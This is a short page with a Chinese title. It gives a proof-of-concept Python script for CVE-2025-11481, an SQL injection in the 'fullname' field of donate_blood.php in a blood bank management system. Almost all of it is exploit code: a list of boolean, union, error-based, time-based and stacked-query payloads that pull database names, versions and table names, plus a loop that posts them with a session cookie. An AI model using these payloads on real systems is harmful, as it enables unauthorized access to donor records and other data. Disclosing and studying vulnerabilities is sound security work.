CVE-2025-11481：Blood-Bank管理系统donate_blood.php SQL注入漏洞

# CVE-2025-11481 PoC - SQL Injection in Blood-Bank-And-Donation-Management-System # Target: /donate_blood.php # Vulnerable Parameter: fullname import requests # Target configuration TARGET_URL = "http://target-server/donate_blood.php" # Attacker credentials (low privilege required) SESSION_COOKIES = { "PHPSESSID": "your_session_id_here" } # SQL Injection payloads targeting the 'fullname' parameter payloads = [ # Basic authentication bypass / boolean-based "test' OR '1'='1' -- ", # Union-based injection to extract data "test' UNION SELECT 1,2,3,4,5 -- ", "test' UNION SELECT user(),database(),version(),4,5 -- ", # Error-based injection "test' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- ", # Time-based blind injection "test' OR SLEEP(5) -- ", "test' AND IF(1=1,SLEEP(5),0) -- ", # Stacked queries (if supported) "test'; SELECT * FROM users -- ", # Extracting table names "test' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables WHERE table_schema=database() -- " ] def exploit_sql_injection(target_url, payload, cookies): """ Send SQL injection payload via the 'fullname' parameter to /donate_blood.php """ data = { "fullname": payload, # Add other required form fields as needed "email": "[email protected]", "phone": "1234567890", "blood_group": "O+", "age": "25" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post( target_url, data=data, cookies=cookies, headers=headers, timeout=30 ) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Vulnerable parameter: fullname") print(f"[*] Starting SQL injection exploitation...\n") for i, payload in enumerate(payloads, 1): print(f"[+] Payload #{i}: {payload[:80]}...") response = exploit_sql_injection(TARGET_URL, payload, SESSION_COOKIES) if response: print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for SQL errors or data leakage in response if "error" in response.text.lower() or "warning" in response.text.lower(): print(f" [!] Possible SQL error detected in response") print() if __name__ == "__main__": main()